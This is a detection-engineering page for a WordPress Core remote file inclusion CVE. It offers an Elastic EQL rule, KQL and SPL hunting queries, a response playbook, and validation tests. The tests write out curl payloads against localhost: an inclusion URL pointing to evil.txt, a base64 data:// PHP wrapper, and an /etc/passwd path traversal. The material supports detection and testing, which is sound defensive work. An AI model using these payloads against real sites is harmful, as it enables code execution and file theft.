CVE-2026-87902 Elastic Security · Elastic

Detect WordPress Core Remote File Inclusion (CVE-2026-87902) Exploitation in Elastic Security

Detects exploitation attempts against CVE-2026-87902, a remote file inclusion (RFI) vulnerability in WordPress Core (CWE-98). Attackers supply attacker-controlled URLs or path-traversal payloads to inclusion parameters, causing the server to include and execute remote or unintended local PHP resources. This CVE is on the CISA KEV catalog with confirmed in-the-wild exploitation. The detection surfaces HTTP requests containing remote URL wrappers (http://, https://, ftp://, php://, data://), path traversal sequences to include parameters, subsequent outbound connections from the web server to attacker infrastructure, and web-shell / PHP execution artifacts written under the WordPress webroot.

MITRE ATT&CK

Tactic
Initial Access Execution

Elastic Detection Query

Elastic Security (Elastic)
eql
network where event.category == "web" and
  (stringContains(url.path, "wp-content") or stringContains(url.path, "wp-includes") or stringContains(url.path, "index.php") or stringContains(url.path, "wp-load.php")) and
  (
    match(url.query, """(?i)(file|page|path|include|template|lang|url|src|document|folder|root)=(https?|ftp|php|data|phar|expect)://""") or
    match(url.query, """(?i)(file|page|path|include|template|lang)=(\.\.[\\/]){2,}""")
  )
critical severity medium confidence

Elastic EQL rule over web/proxy events matching WordPress inclusion parameters with remote wrappers or traversal sequences for CVE-2026-87902.

Data Sources

Web Server LogsNetwork Proxy

Required Tables

logs-apache.access-*logs-nginx.access-*logs-iis.access-*

False Positives & Tuning

  • Web frameworks that legitimately accept absolute URLs in template/redirect parameters
  • Security testing traffic from authorized scanners
  • Third-party embeds passing remote media URLs

Other platforms for CVE-2026-87902


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Remote URL inclusion via page parameter

    Expected signal: Web access log entry with query string page=http://... and an outbound connection attempt from the web server to 127.0.0.1:8000.

  2. Test 2PHP wrapper data:// code inclusion

    Expected signal: Web access log entry containing file=data://text/plain;base64 payload.

  3. Test 3Path traversal local file inclusion

    Expected signal: Web access log entry with template=../../../../etc/passwd under wp-content.


Response Playbook

Triage

  1. Confirm the affected host is running WordPress Core and determine the installed version against the CVE-2026-87902 advisory (GHSA-7hp8-65ch-5whp) to establish exploitability.
  2. Extract the full decoded request URI and identify the inclusion parameter and payload — determine whether it references a remote URL (true RFI), a php:///data:// wrapper (code exec), or local traversal (LFI).
  3. Correlate the source IP against threat intel and check for repeated or scripted requests; review the HTTP response code to judge whether the include likely succeeded (200 with anomalous body vs 500/403).
  4. Pivot to web server and PHP-FPM logs for the same timeframe to check for outbound fetches, PHP errors, or newly executed scripts.

Containment

  1. Block the attacker source IP(s) at the WAF/edge and add a virtual-patch rule rejecting remote wrappers and traversal in inclusion parameters.
  2. Isolate the affected web server from outbound internet egress to prevent retrieval of remote payloads, and take a forensic snapshot before remediation.
  3. Apply the WordPress Core security update / disable the vulnerable code path and set allow_url_include=Off and allow_url_fopen=Off in PHP configuration.

Evidence Collection

  1. Preserve raw web access logs, PHP-FPM/error logs, and any WAF logs covering the request window, capturing full URIs and request bodies.
  2. Image the webroot to capture any dropped webshells or modified PHP files, and record file hashes and timestamps of files under wp-content/ and wp-includes/.
  3. Capture outbound netflow/proxy records from the web server to identify the attacker-hosted remote include source.

Escalation Criteria

  • !Escalate to incident response if a remote include returned HTTP 200 with executed output or a webshell/backdoor file is found under the webroot.
  • !Escalate if outbound connections from the web server to unknown external hosts followed the exploit attempt, indicating successful payload retrieval.
  • !Escalate to management/legal if evidence shows data access, lateral movement, or persistence following exploitation of this KEV-listed CVE.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Web server access logs showing inclusion parameters with remote wrappers or traversal
  • >New or modified PHP files under wp-content/, wp-includes/, or uploads/
  • >PHP-FPM error logs referencing failed/successful include() of remote URLs
  • >Outbound network connections from the web server to attacker-hosted include URLs

Tuning Guidance

Baseline legitimate parameters in your environment that carry absolute URLs (oEmbed proxies, redirect endpoints) and add them to an allowlist to cut false positives. Tighten the regex to the specific inclusion parameter names used by your installed plugins/themes. Prioritize alerts where the HTTP response was 200 and where the same source IP repeats the pattern across multiple endpoints. Pair with egress monitoring so that a matching request followed by an outbound connection from the web server escalates confidence to high.


Hunting Queries

Surfaces source IPs making repeated requests with remote-wrapper inclusion payloads, indicating scripted RFI attempts against WordPress.

Hunting — KQL
kql
W3CIISLog | extend q = url_decode(csUriQuery) | where q matches regex @"(?i)=(https?|ftp|php|data|phar|expect)://" | summarize count(), makeset(csUriStem) by cIP, bin(TimeGenerated, 1h) | where count_ > 5
Hunting — SPL
spl
index=web | eval q=urldecode(uri_query) | regex q="(?i)=(https?|ftp|php|data|phar|expect)://" | stats count values(uri_path) by clientip | where count>5

Atomic Red Team Tests

Test 1 Remote URL inclusion via page parameter
linux

Simulates a classic RFI attempt supplying a remote HTTP URL to a WordPress inclusion parameter.

Command

bash
curl -s -o /dev/null -w '%{http_code}' 'http://localhost/index.php?page=http://127.0.0.1:8000/evil.txt'

Cleanup

bash
rm -f /tmp/evil.txt 2>/dev/null; true

Expected Telemetry

Web access log entry with query string page=http://... and an outbound connection attempt from the web server to 127.0.0.1:8000.

Expected Detection

KQL/SPL RFI rule matches on the remote http:// wrapper in the page inclusion parameter.

Test 2 PHP wrapper data:// code inclusion
linux

Attempts inclusion of a base64 data:// PHP wrapper to achieve code execution without an external host.

Command

bash
curl -s 'http://localhost/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+'

Cleanup

bash
true

Expected Telemetry

Web access log entry containing file=data://text/plain;base64 payload.

Expected Detection

RFI detection matches the data:// wrapper in the file inclusion parameter.

Test 3 Path traversal local file inclusion
linux

Simulates repeated ../ traversal against an inclusion parameter to include a local sensitive file.

Command

bash
curl -s 'http://localhost/wp-content/index.php?template=../../../../etc/passwd'

Cleanup

bash
true

Expected Telemetry

Web access log entry with template=../../../../etc/passwd under wp-content.

Expected Detection

RFI/LFI traversal branch of the detection matches the repeated ../ sequence in the template parameter.

Related Detections